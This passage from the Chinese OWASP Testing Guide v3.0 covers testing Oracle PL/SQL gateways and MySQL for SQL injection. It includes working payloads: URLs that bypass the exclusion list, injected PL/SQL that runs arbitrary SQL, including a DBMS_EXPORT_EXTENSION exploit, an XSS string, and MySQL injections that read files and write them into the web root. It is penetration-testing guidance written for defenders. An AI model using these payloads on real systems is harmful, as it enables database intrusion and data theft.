3 ) 所 有 请 求 包 和 程 序 在 匿 名 PL / SQL 上 打 包 并 传 送 到 数 据 库 服 务 器 。<br />

4 ) 数 据 库 服 务 器 运 行 该 程 序 并 将 结 果 以 HTML 返 回 到 网 关<br />

5 ) 网 关 通 过 Web 服 务 器 给 客 户 端 发 送 一 个 响 应<br />

了 解 这 一 点 很 重 要 - 因 为 PL / SQL 代 码 不 是 存 在 于 Web 服 务 器 上 而 是 存 在 于 数 据 库 服 务 器 上 。 这 意 味 着 , 攻 击 者 一<br />

旦 利 用 PL / SQL 网 关 或 PL / SQL 应 用 程 序 上 的 任 何 的 弱 点 就 能 直 接 访 问 数 据 库 服 务 器 ; 任 何 防 火 墙 都 不 能 阻 止 这<br />

种 情 况 出 现 。<br />

PL / SQLWeb 应 用 程 序 的 URL 通 常 是 容 易 识 别 。 一 般 都 按 下 列 方 式 开 始 (xyz 可 以 是 任 何 字 符 串 , 它 代 表 数 据 库 访<br />

问 描 述 符 。 这 一 点 将 在 后 面 章 节 了 解 到 跟 多 详 情 。) :<br />

222


OWASP 测 试 指 南 v3.0<br />

http://www.example.com/pls/xyz<br />

http://www.example.com/xyz/owa<br />

http://www.example.com/xyz/plsql<br />

第 二 个 和 第 三 个 例 子 代 表 PL / SQL 网 关 旧 版 本 中 的 网 址 的 , 而 第 一 个 例 子 是 来 源 于 Apache 上 运 行 的 较 新 版 本 。 在<br />

plsql.conf Apache 的 配 置 文 件 中 ,/pls 是 默 认 值 , 指 定 PLS 模 块 位 置 作 为 处 理 位 置 。 然 而 该 位 置 不 必 是 /pls。 在<br />

URL 中 缺 乏 文 件 扩 展 名 可 能 表 明 存 在 Oracle PL / SQL 网 关 。 如 以 下 网 址 :<br />

http://www.server.com/aaa/bbb/xxxxx.yyyyy<br />

如 果 xxxxx.yyyyy 改 为 “ ebank.home ”、“ store.welcome ”、“ auth.login ” 或 “ books.search ”, 那<br />

幺 使 用 PL / SQL 网 关 的 机 会 很 大 。 也 有 可 能 在 请 求 包 和 程 序 之 前 使 用 所 有 者 的 用 户 名 - 即 模 式 - 在 这 种 情 况 下 该 用<br />

户 就 是 “ webuser ” :<br />

http://www.server.com/pls/xyz/webuser.pkg.proc<br />

在 此 网 址 中 ,xyz 是 数 据 库 访 问 描 述 符 (DAD)。DAD 指 定 数 据 库 服 务 器 信 息 以 便 PL / SQL 网 关 可 以 连 接 。 它 包 含 的 信<br />

息 有 TNS 连 接 字 符 串 、 用 户 名 和 密 码 、 验 证 方 法 等 等 。dads.conf Apache 配 置 文 件 的 较 新 版 本 或 wdbsvr.app 文 件 旧<br />

版 本 中 指 定 了 DAD。 一 些 默 认 DAD 包 括 :<br />

SIMPLEDAD<br />

HTMLDB<br />

ORASSO<br />

SSODAD<br />

PORTAL<br />

PORTAL2<br />

PORTAL30<br />

PORTAL30_SSO<br />

TEST<br />

DAD<br />

APP<br />

ONLINE<br />

DB<br />

OWA<br />

确 定 PL / SQL 网 关 是 否 运 行<br />

当 评 估 服 务 器 时 最 重 要 的 是 先 要 了 解 你 所 所 处 理 的 技 术 是 什 幺 。 例 如 在 黑 盒 测 试 中 , 如 果 您 不 知 道 , 那 么 要 做 的 第<br />

一 件 事 就 是 找 到 该 问 题 的 答 案 。 要 了 解 基 于 Web 的 PL / SQL 应 用 程 序 很 简 单 。 首 先 , 找 出 URL 的 格 式 并 和 上 文 讨 论<br />

过 的 相 比 较 , 确 认 属 于 哪 一 种 。 另 外 进 行 一 套 简 单 测 试 确 定 PL / SQL 网 关 的 存 在 。<br />

服 务 器 响 应 头<br />

Web 服 务 器 的 响 应 头 能 有 效 指 示 服 务 器 是 否 运 行 PL / SQL 网 关 。 下 表 列 出 一 些 典 型 的 服 务 器 响 应 标 题 :<br />

Oracle-Application-Server-10g<br />

223


Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server<br />

Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server<br />

Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)<br />

Oracle-Application-Server-10g/9.0.4.0.0<br />

Oracle HTTP Server Powered by Apache<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d<br />

Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e<br />

Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e<br />

Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c<br />

Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b<br />

Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0<br />

Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition<br />

Oracle_Web_Listener/4.0.8.2EnterpriseEdition<br />

Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition<br />

Oracle_Web_listener3.0.2.0.0/2.14FC1<br />

Oracle9iAS/9.0.2 Oracle HTTP Server<br />

Oracle9iAS/9.0.3.1 Oracle HTTP Server<br />

null 测 试<br />

在 PL / SQL 中 “null” 是 完 全 接 受 的 表 达 :<br />

SQL> BEGIN<br />

2 NULL;<br />

3 END;<br />

4 /<br />

PL / SQL 的 程 序 顺 利 完 成 .<br />

我 们 可 以 用 它 来 测 试 服 务 器 是 否 正 在 运 行 PL / SQL 网 关 。 只 要 采 取 DAD 和 附 加 NULL 然 后 附 加 NOSUCHPROC :<br />

http://www.example.com/pls/dad/null<br />

http://www.example.com/pls/dad/nosuchproc<br />

如 果 服 务 器 第 一 次 响 应 200 OK, 第 二 次 响 应 404 Not Found, 那 幺 说 明 该 服 务 器 正 在 运 行 PL / SQL 网 关 。<br />

了 解 软 件 包 入 口<br />

在 PL / SQL 网 关 旧 版 本 中 , 可 以 直 接 访 问 组 成 PL/SQL Web Toolkit 的 软 件 包 , 例 如 OWA 和 HTP 包 。 我 们 后 续 将 谈 论<br />

的 OWA_UTIL 包 是 其 中 之 一 。 它 包 含 一 个 名 为 SIGNATURE 的 程 序 并 且 它 只 在 HTML 中 输 出 PL / SQL 签 名 。 因 此 请<br />

求 :<br />

http://www.example.com/pls/dad/owa_util.signature<br />

在 网 页 中 返 回 下 列 输 出 :<br />

"This page was produced by the PL/SQL Web Toolkit on date"<br />

224


OWASP 测 试 指 南 v3.0<br />

或<br />

"This page was produced by the PL/SQL Cartridge on date"<br />

如 果 您 没 有 收 到 此 回 应 , 但 收 到 403 Forbidden 的 回 应 , 那 么 你 可 以 推 断 出 PL / SQL 网 关 正 在 运 行 。 这 是 你 在 更 高<br />

版 本 或 补 丁 系 统 中 应 该 得 到 的 回 应 。<br />

在 数 据 库 中 访 问 任 意 PL / SQL 软 件 包<br />

在 数 据 库 服 务 器 中 默 认 安 装 的 PL / SQL 包 中 有 可 能 利 用 漏 洞 。 你 如 何 做 到 这 一 点 取 决 于 PL / SQL 网 关 的 版 本 。 在<br />

较 早 的 PL / SQL 网 关 版 本 中 无 法 阻 止 攻 击 者 在 数 据 库 服 务 器 中 访 问 一 个 任 意 PL / SQL 包 。 我 们 之 前 提 到 的<br />

OWA_UTIL 包 能 运 行 任 意 SQL 查 询<br />

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS<br />

可 以 通 过 HTP 包 运 行 跨 站 脚 本 攻 击<br />

http://www.example.com/pls/dad/HTP.PRINT?CBUF=alert('XSS')<br />

显 然 这 些 情 况 很 危 险 。 因 此 ,Oracle 公 司 推 出 了 PLSQL 排 除 清 单 以 防 止 直 接 接 触 这 些 危 险 的 程 序 。 禁 止 的 项 目 包 括<br />

任 何 以 SYS.* 开 头 的 请 求 、 任 何 以 DBMS_ * 开 头 的 请 求 、 任 何 包 含 HTP.* 或 OWA* 的 请 求 。 然 而 同 样 有 可 能 绕 过 排 除<br />

清 单 。 并 且 排 除 清 单 不 能 阻 止 进 入 在 CTXSYS 和 MDSYS 模 式 中 的 包 , 从 而 导 致 在 这 些 包 中 利 用 漏 洞 :<br />

http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL<br />

这 将 返 回 一 个 空 白 的 网 页 , 这 一 缺 陷 是 200 OK 响 应 数 据 库 服 务 器 仍 然 是 脆 弱 的 (CVE- 2006 - 0265 )<br />

测 试 PL / SQL 网 关 漏 洞<br />

多 年 来 ,Oracle PL/SQL 网 关 受 到 许 多 漏 洞 的 威 胁 , 包 括 进 入 管 理 页 面 (CVE-2002-0561)、 缓 冲 溢 出 (CVE-2002-<br />

0559) 、 目 录 遍 历 漏 洞 和 其 它 允 许 攻 击 者 绕 过 排 除 清 单 并 进 入 数 据 库 服 务 器 中 执 行 任 意 PL/SQL 包 的 漏 洞 。<br />

绕 过 PL / SQL 的 排 除 清 单<br />

Oracle 无 数 次 试 图 修 复 允 许 攻 击 者 绕 过 排 除 清 单 的 安 全 漏 洞 。 但 Oracle 产 生 的 每 一 个 补 丁 又 使 得 受 害 用 户 陷 入 新<br />

一 轮 的 绕 过 技 术 中 。 此 类 事 情 的 历 史 上 可 以 在 下 面 链 接 中 找 到 : http://seclists.org/fulldisclosure/2006/Feb/0011.html<br />

绕 过 排 除 清 单 - 方 法 1<br />

当 Oracle 公 司 为 防 止 攻 击 者 访 问 任 意 PL / SQL 的 软 件 包 而 首 次 推 出 PL / SQL 排 除 清 单 时 , 通 过 在<br />

schema/package 名 称 前 加 入 Hex 代 码 换 行 符 或 空 格 或 tab 就 能 绕 过 该 清 单 。:<br />

http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC<br />

225


绕 过 排 除 清 单 - 方 法 2<br />

该 网 关 更 高 版 本 中 , 只 要 在 schema/package 名 称 前 加 标 签 就 能 使 攻 击 者 绕 过 排 除 清 单 。 在 PL/SQL 中 一 个 标 签 指 向<br />

行 代 码 , 该 行 代 码 可 跃 升 至 使 用 GOTOstatement, 并 采 取 下 列 形 式 :<br />

http://www.example.com/pls/dad/SYS.PACKAGE.PROC<br />

绕 过 排 除 清 单 - 方 法 3<br />

简 单 地 在 schema/package 名 称 上 加 入 双 引 号 就 能 让 攻 击 者 绕 过 排 除 清 单 。 请 注 意 , 这 种 方 法 在 Oracle 应 用 服 务 器<br />

10g 上 无 法 起 作 用 。 因 为 它 将 用 户 请 求 转 换 为 小 写 后 传 递 给 递 交 给 数 据 库 服 务 器 , 而 引 号 是 区 分 大 小 写 的 - 因 此<br />

“SYS” 和 “sys” 各 不 相 同 , 而 请 求 “sys” 将 导 致 404 Not Found。 在 旧 版 中 可 以 通 过 下 列 方 法 绕 过 排 除 清 单 :<br />

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC<br />

绕 过 排 除 清 单 - 方 法 4<br />

由 于 在 web 服 务 器 和 数 据 库 服 务 器 中 使 用 字 符 设 置 功 能 , 因 此 一 些 字 符 发 生 了 转 换 。 因 此 , 由 于 使 用 字 符 设 置 , 字<br />

符 "ÿ"(0xFF) 可 能 在 数 据 库 中 转 换 成 了 "Y"。 另 一 个 经 常 转 化 成 大 写 “Y” 的 字 符 是 Macron 字 符 0xAF。 这 可 能 允 许 攻<br />

击 者 绕 过 排 除 清 单 :<br />

http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC<br />

http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC<br />

绕 过 排 除 清 单 - 方 法 5<br />

PL/SQL 网 关 的 某 些 版 本 允 许 使 用 反 斜 杠 - 0x5C :<br />

http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC<br />

绕 过 排 除 清 单 - 方 法 6<br />

这 是 绕 过 排 除 清 单 最 复 杂 并 在 近 期 修 复 的 方 法 。 如 果 我 们 要 求 以 下<br />

http://www.example.com/pls/dad/foo.bar?xyz=123<br />

应 用 服 务 器 将 在 数 据 库 服 务 器 执 行 下 列 :<br />

1 declare<br />

2 rc__ number;<br />

3 start_time__ binary_integer;<br />

4 simple_list__ owa_util.vc_arr;<br />

5 complex_list__ owa_util.vc_arr;<br />

6 begin<br />

7 start_time__ := dbms_utility.get_time;<br />

8 owa.init_cgi_env(:n__,:nm__,:v__);<br />

9 htp.HTBUF_LEN := 255;<br />

10 null;<br />

11 null;<br />

12 simple_list__(1) := 'sys.%';<br />

13 simple_list__(2) := 'dbms\_%';<br />

226


OWASP 测 试 指 南 v3.0<br />

14 simple_list__(3) := 'utl\_%';<br />

15 simple_list__(4) := 'owa\_%';<br />

16 simple_list__(5) := 'owa.%';<br />

17 simple_list__(6) := 'htp.%';<br />

18 simple_list__(7) := 'htf.%';<br />

19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then<br />

20 rc__ := 2;<br />

21 else<br />

22 null;<br />

23 orasso.wpg_session.init();<br />

24 foo.bar(XYZ=>:XYZ);<br />

25 if (wpg_docload.is_file_download) then<br />

26 rc__ := 1;<br />

27 wpg_docload.get_download_file(:doc_info);<br />

28 orasso.wpg_session.deinit();<br />

29 null;<br />

30 null;<br />

31 commit;<br />

32 else<br />

33 rc__ := 0;<br />

34 orasso.wpg_session.deinit();<br />

35 null;<br />

36 null;<br />

37 commit;<br />

38 owa.get_page(:data__,:ndata__);<br />

39 end if;<br />

40 end if;<br />

41 :rc__ := rc__;<br />

42 :db_proc_time__ := dbms_utility.get_time—start_time__;<br />

43 end;<br />

注 意 19 和 24 行 。19 行 中 检 测 用 户 请 求 是 否 存 在 已 知 的 “bad“ 字 符 串 — 即 排 除 清 单 。 如 果 用 户 请 求 包 和 程 序 不 包<br />

含 坏 字 符 串 , 那 幺 将 执 行 24 行 。 使 用 绑 定 变 量 传 输 XYZ 参 数 。<br />

如 果 请 求 如 下 :<br />

http://server.example.com/pls/dad/INJECT'POINT<br />

执 行 以 下 的 PL / SQL:<br />

..<br />

18 simple_list__(7) := 'htf.%';<br />

19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then<br />

20 rc__ := 2;<br />

21 else<br />

22 null;<br />

23 orasso.wpg_session.init();<br />

227


24 inject'point;<br />

..<br />

这 会 在 错 误 日 志 中 产 生 错 误 :“PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” 我<br />

们 所 使 用 的 方 法 是 注 入 任 意 SQL 。 通 过 绕 过 排 除 清 单 可 利 用 此 漏 洞 。 首 先 , 攻 击 者 需 要 找 到 一 个 没 有 任 何 参 数 并 且<br />

不 匹 配 排 除 清 单 的 PL/SQL 程 序 。 符 号 这 个 标 准 的 默 认 包 相 当 多 , 例 如 :<br />

JAVA_AUTONOMOUS_TRANSACTION.PUSH<br />

XMLGEN.USELOWERCASETAGNAMES<br />

PORTAL.WWV_HTP.CENTERCLOSE<br />

ORASSO.HOME<br />

WWC_VERSION.GET_HTTP_DATABASE_INFO<br />

选 择 一 个 实 际 存 在 的 ( 即 在 请 求 时 返 回 一 个 200 OK)。 如 果 攻 击 者 请 求 :<br />

http://server.example.com/pls/dad/orasso.home?FOO=BAR<br />

服 务 器 应 该 返 回 “404 File Not Found”, 因 为 orasso.home 程 序 并 不 需 要 参 数 但 是 其 中 一 个 却 提 供 了 参 数 。 但 是 ,<br />

在 返 回 404 前 执 行 下 面 的 PL/SQL:<br />

..<br />

..<br />

if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then<br />

rc__ := 2;<br />

else<br />

null;<br />

orasso.wpg_session.init();<br />

orasso.home(FOO=>:FOO);<br />

..<br />

..<br />

注 意 在 攻 击 者 的 查 询 字 符 串 中 FOO 的 存 在 。 他 们 可 以 运 行 任 意 SQ L 滥 用 该 字 符 串 。 首 先 , 他 们 需 要 关 闭 方 括 号 :<br />

http://server.example.com/pls/dad/orasso.home?);--=BAR<br />

这 就 导 致 执 行 下 面 的 PL / SQL:<br />

..<br />

orasso.home();--=>:);--);<br />

..<br />

注 意 在 所 有 双 减 号 ( - ) 后 的 内 容 都 被 视 为 评 论 。 由 于 其 中 一 个 绑 定 变 量 不 再 使 用 , 这 个 请 求 会 导 致 内 部 服 务 器<br />

错 误 。 因 此 , 攻 击 者 需 要 将 该 变 量 重 新 添 加 。 事 实 上 , 这 种 绑 定 变 量 是 运 行 任 意 PL / SQL 的 关 键 。 就 目 前 而 言 ,<br />

他 们 可 以 只 使 用 HTP.PRINT 来 打 印 条 码 , 并 添 加 所 需 的 绑 定 变 量 为 : 1 :<br />

228


OWASP 测 试 指 南 v3.0<br />

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR<br />

这 应 该 在 HTML 中 返 回 一 个 带 “BAR“ 字 的 200。 这 是 由 于 在 等 号 后 面 的 所 有 内 容 都 是 插 入 到 绑 定 变 量 中 的 内 容 , 即<br />

此 案 例 中 的 “BAR“。 使 用 相 同 的 技 术 很 可 能 能 再 次 进 入 owa_util.cellsprint:<br />

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS<br />

执 行 任 意 SQL, 包 括 DML 和 DDL 声 明 , 攻 击 者 插 入 一 个 execute immediate :1:<br />

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual<br />

注 意 该 输 出 不 会 显 示 。 攻 击 者 利 用 SYS 的 任 何 PL/SQL 注 入 漏 洞 能 够 完 全 控 制 后 端 数 据 库 服 务 器 。 例 如 , 下 面 的 网<br />

址 利 用 了 DBMS_EXPORT_EXTENSION 中 的 SQL 注 入 漏 洞 (see http://secunia.com/advisories/19860)<br />

http://www.example.com/pls/dad/orasso.home?);<br />

execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20<br />

BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES<br />

('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);<br />

EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20<br />

PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';<br />

END;--','SYS',1,'VER',0);END;<br />

评 估 自 定 义 PL/SQL Web 应 用 程 序<br />

在 黑 盒 安 全 评 估 中 , 虽 然 自 定 义 PL/SQL 应 用 程 序 的 代 码 无 法 使 用 , 但 仍 然 需 要 对 其 进 行 安 全 漏 洞 评 估 。<br />

SQL 注 入 测 试<br />

每 个 输 入 参 数 应 测 试 SQL 注 入 漏 洞 。 这 些 漏 洞 很 容 易 找 到 并 确 认 。 将 单 引 号 插 入 参 数 中 并 检 查 错 误 反 应 就 能 很 容 易<br />

找 到 该 漏 洞 ( 其 中 包 括 404 Not Found errors)。 使 用 连 接 运 算 符 可 以 确 认 存 在 SQL 注 入 ,<br />

例 如 , 假 设 书 店 PL / SQLWeb 应 用 程 序 允 许 用 户 通 过 制 定 作 者 搜 索 图 书 :<br />

http://www.example.com/pls/bookstore/books.search?author=DICKENS<br />

如 果 该 请 求 返 回 Charles Dickens 的 书 籍 , 但<br />

http://www.example.com/pls/bookstore/books.search?author=DICK'ENS<br />

返 回 错 误 或 404, 那 幺 说 明 可 能 存 在 SQL 注 入 漏 洞 。 可 以 通 过 使 用 连 接 运 算 符 确 认 :<br />

http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS<br />

如 果 再 次 返 回 Charles Dickens 的 书 籍 , 那 幺 可 以 确 认 确 实 存 在 SQL 注 入 。<br />

229


参 考<br />

白 皮 书<br />

• Hackproofing Oracle Application Server - http://www.ngssoftware.com/papers/hpoas.pdf<br />

• Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf<br />

工 具<br />

• SQLInjector - http://www.databasesecurity.com/sql-injector.htm<br />

• Orascan (Oracle Web Application VA scanner) - http://www.ngssoftware.com/products/internet-security/orascan.php<br />

• NGSSQuirreL (Oracle RDBMS VA Scanner) - http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php<br />

4.8.5.2 MYSQL 测 试<br />

问 题 简 单 描 述<br />

在 组 建 SQL 查 询 时 使 用 没 有 进 行 过 充 分 限 制 或 过 滤 的 输 入 就 会 产 生 SQL Injection 漏 洞 。 使 用 动 态 SQL ( 通 过 连 接 运<br />

算 符 组 建 SQL 查 询 ) 能 产 生 这 些 弱 点 。 攻 击 者 能 使 用 SQL 注 入 访 问 SQL 服 务 器 。 它 允 许 在 用 户 特 权 下 执 行 SQL 代 码<br />

用 户 连 接 数 据 库 。<br />

MySQL 服 务 器 存 在 一 些 特 性 导 致 需 要 特 别 针 对 该 应 用 程 序 开 发 漏 洞 。 这 就 是 这 一 节 的 主 要 问 题 。<br />

黑 盒 测 试 实 例<br />

如 何 测 试<br />

当 在 MySQL 后 台 数 据 库 管 理 系 统 中 发 现 SQL 注 入 , 根 据 MySQL 的 版 本 和 用 户 在 管 理 系 统 中 的 权 限 不 同 , 会 导 致 许<br />

多 攻 击 。。<br />

MySQL 在 全 世 界 至 少 有 四 种 版 本 。 3.23.x , 为 4.0.x , 4.1.x 和 5.0.x。 每 个 版 本 都 有 与 版 本 号 成 比 例 的 一 套 功 能 。<br />

• From Version 4.0: UNION<br />

• From Version 4.1: Subqueries<br />

• From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA<br />

• From Version 5.0.2: Triggers<br />

应 当 指 出 4.0.x 之 前 的 MySQL 版 本 由 于 不 能 执 行 Subqueries 和 UNION statement, 只 有 使 用 Boolean 或 基 于 时 间 的 盲<br />

注 入 。<br />

从 现 在 起 , 假 设 在 请 求 中 包 含 一 个 经 典 的 SQL 注 入 , 例 如 Testing for SQL Injection 中 描 述 的 SQL 注 入 。<br />

230


OWASP 测 试 指 南 v3.0<br />

http://www.example.com/page.php?id=2<br />

单 引 号 问 题<br />

在 利 用 MySQL 功 能 前 必 须 考 虑 在 声 明 中 字 符 串 代 表 什 幺 , 因 为 web 应 用 程 序 经 常 忽 视 了 单 引 号 。<br />

下 面 为 MySQL 引 用 逃 逸 :<br />

'A string with \'quotes\''<br />

也 就 是 说 , MySQL 把 转 义 撇 号 ( \ ' ) 当 作 字 符 而 不 是 作 为 元 字 符 。<br />

因 此 , 如 果 该 应 用 程 序 需 要 使 用 常 数 字 符 串 以 便 能 够 正 常 运 行 , 那 幺 需 要 区 分 下 面 两 个 案 例 :<br />

1. Web app escapes single quotes (' => \')<br />

2. Web app does not escapes single quotes escaped (' => ')<br />

在 MySQL 中 , 有 一 个 标 准 方 式 绕 过 单 引 号 需 求 。 无 需 单 引 号 就 可 以 声 明 常 数 字 符 串 。<br />

假 设 我 们 想 知 道 所 记 录 的 名 为 “password“ 的 字 段 名 的 值 , 条 件 如 下 :password like 'A%'<br />

1. The ASCII values in a concatenated hex:<br />

password LIKE 0x4125<br />

2. The char() function:<br />

password LIKE CHAR(65,37)<br />

多 重 混 合 查 询<br />

MySQL 数 据 库 连 接 器 不 支 持 由 ' ; ' 分 隔 开 的 多 个 查 询 , 所 以 没 有 任 何 方 式 可 以 在 存 在 于 Microsoft SQL Server 等 中 的<br />

SQL 注 入 漏 洞 内 部 注 入 多 个 非 均 匀 SQL 命 令 。<br />

例 如 , 下 面 的 注 入 将 导 致 一 个 错 误 :<br />

1 ; update tablename set code='javascript code' where 1 --<br />

信 息 收 集<br />

MySQL 踩 点<br />

当 然 , 首 先 要 知 道 的 是 是 否 存 在 作 为 后 端 的 MySQL 数 据 库 管 理 系 统 。<br />

231


MySQL 服 务 器 存 在 一 个 功 能 使 其 它 数 据 库 管 理 系 统 忽 视 MySQL 语 言 中 一 个 条 款 。 当 评 论 模 块 ('/**/') 包 含 一 个 感 叹 号<br />

('/*! sql here*/') 时 ,MySQL 能 对 其 进 行 解 析 而 其 它 数 据 库 管 理 系 统 会 将 其 作 为 普 通 评 论 模 块 。 详 情 见 [MySQL manual]<br />

。<br />

例 如 :<br />

1 /*! and 1=0 */<br />

预 期 结 果<br />

如 果 使 用 MySQL, 则 评 论 模 块 内 部 条 款 能 被 解 释 。<br />

版 本<br />

三 种 方 法 获 得 这 一 信 息 :<br />

1. 使 用 global variable @@version<br />

2. 使 用 [VERSION()] 函 数<br />

3. 使 用 加 注 踩 点 结 合 版 本 号 码 /*!40110 and 1=0*/<br />

这 意 味 着 :<br />

if(version >= 4.1.10)<br />

add 'and 1=0' to the query.<br />

这 些 结 果 都 是 一 样 的 。<br />

盲 注 入 :<br />

1 AND 1=0 UNION SELECT @@version /*<br />

Inferential injection:<br />

1 AND @@version like '4.0%'<br />

预 期 结 果<br />

像 这 样 的 字 符 串 :5.0.22-log<br />

登 陆 用 户<br />

MySQL 服 务 器 依 赖 于 两 种 类 型 用 户 。<br />

1. [USER()]: 连 接 到 MySQL 服 务 器 的 用 户 。<br />

232


OWASP 测 试 指 南 v3.0<br />

2. [CURRENT_USER()]: 正 在 执 行 查 询 的 内 部 用 户 。<br />

1 和 2 之 间 存 在 一 些 不 同 。<br />

最 主 要 的 一 点 是 匿 名 用 户 可 以 连 接 ( 如 果 允 许 ) 到 任 何 名 称 , 而 MySQL 内 部 用 户 是 空 名 ('').<br />

另 一 个 不 同 之 处 在 于 , 如 果 一 个 存 储 过 程 或 存 储 函 数 在 其 它 地 方 没 有 宣 布 执 行 , 那 幺 那 将 作 为 创 建 用 户 。 通 过 使 用<br />

CURRENT_USER 可 以 了 解 这 一 点 。<br />

盲 注 入 :<br />

1 AND 1=0 UNION SELECT USER()<br />

推 理 注 入 :<br />

1 AND USER() like 'root%'<br />

预 期 结 果<br />

像 这 样 的 字 符 串 : user@hostname<br />

使 用 的 数 据 库 名 称<br />

原 始 功 能 DATABASE()<br />

盲 注 入 :<br />

1 AND 1=0 UNION SELECT DATABASE()<br />

推 理 注 入 :<br />

1 AND DATABASE() like 'db%'<br />

结 果 预 期 :<br />

像 这 样 的 字 符 串 : dbname<br />

INFORMATION_SCHEMA<br />

从 MySQL 5.0 开 始 , 创 建 了 名 为 [[INFORMATION_SCHEMA] 的 视 图 。 它 使 我 们 能 够 获 得 数 据 库 、 表 、 列 以 及 程 序 和 功<br />

能 的 所 有 信 息 。<br />

下 面 为 一 些 有 趣 的 视 图 摘 要 :<br />

Tables_in_INFORMATION_SCHEMA DESCRIPTION<br />

233


..[skipped]..<br />

..[skipped]..<br />

SCHEMATA<br />

All databases the user has (at least) SELECT_priv<br />

SCHEMA_PRIVILEGES<br />

The privileges the user has for each DB<br />

TABLES<br />

All tables the user has (at least) SELECT_priv<br />

TABLE_PRIVILEGES<br />

The privileges the user has for each table<br />

COLUMNS<br />

All columns the user has (at least) SELECT_priv<br />

COLUMN_PRIVILEGES<br />

The privileges the user has for each column<br />

VIEWS<br />

All columns the user has (at least) SELECT_priv<br />

ROUTINES<br />

Procedures and functions (needs EXECUTE_priv)<br />

TRIGGERS<br />

Triggers (needs INSERT_priv)<br />

USER_PRIVILEGES<br />

Privileges connected User has<br />

通 过 使 用 SQL 注 入 章 节 中 描 述 的 已 知 技 术 可 以 提 取 所 有 这 些 资 料 。<br />

攻 击 媒 介<br />

写 入 文 件<br />

如 果 连 接 的 用 户 有 文 件 权 限 _and_ 单 引 号 不 换 码 , 它 可 以 用 于 'into outfile' 条 款 , 在 文 件 中 输 出 查 询 结 果 。<br />

Select * from table into outfile '/tmp/file'<br />

注 : 通 常 没 有 办 法 绕 过 用 于 文 件 名 的 单 引 号 。 因 此 如 果 对 单 引 号 实 施 了 一 些 过 滤 措 施 , 如 换 码 ( \’), 那 幺 将 无 法<br />

使 用 'into outfile' 条 款 。<br />

这 种 攻 击 可 能 被 用 外 部 渠 道 (OOB) 以 便 获 取 查 询 结 果 信 息 或 撰 写 能 在 web 服 务 器 目 录 中 执 行 的 文 件 。<br />

例 :<br />

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n';<br />

结 果 预 期<br />

234


OWASP 测 试 指 南 v3.0<br />

结 果 存 储 在 MySQL 用 户 和 组 所 有 的 含 有 rw-rw-rw 权 限 的 文 件 。<br />

/var/www/root/test.jsp 包 含 :<br />

//field values//<br />

<br />

读 取 文 件<br />

Load_file 是 在 得 到 文 件 系 统 授 权 后 读 取 文 件 的 原 始 函 数 。<br />

如 果 一 个 连 接 用 户 拥 有 文 件 权 限 , 可 以 使 用 它 来 获 取 文 件 内 容 。<br />

使 用 之 前 提 到 的 技 术 可 以 绕 过 单 引 号 换 码 过 滤 。<br />

load_file('filename')<br />

结 果 预 期 :<br />

通 过 使 用 标 准 技 术 可 以 输 出 整 个 文 件 。<br />

标 准 SQL 注 入 攻 击<br />

在 标 准 的 SQL 注 入 中 , 你 可 以 将 结 果 像 正 常 输 入 或 MySQL 错 误 一 样 直 接 显 示 在 网 页 上 。 通 过 使 用 上 述 提 到 的 SQL<br />

注 入 攻 击 和 所 描 述 的 MySQL 功 能 , 可 以 轻 松 完 成 一 定 层 次 的 直 接 的 SQL 注 入 , 这 主 要 依 赖 渗 透 测 试 所 测 试 的<br />

MySQL 版 本 。<br />

通 过 迫 使 函 数 / 程 序 或 服 务 器 本 身 发 送 错 误 进 行 的 有 效 攻 击 能 得 到 相 关 结 果 。MySQL 发 出 错 误 清 单 , 特 别 是 基 本 功<br />

能 请 参 考 [[MySQL Manual] 。<br />

外 部 渠 道 (OOB<br />

OOB)SQL<br />

注 入<br />

外 部 连 接 注 入 可 以 使 用 'into outfile' 条 件 完 成 。<br />

SQL 盲 注 入<br />

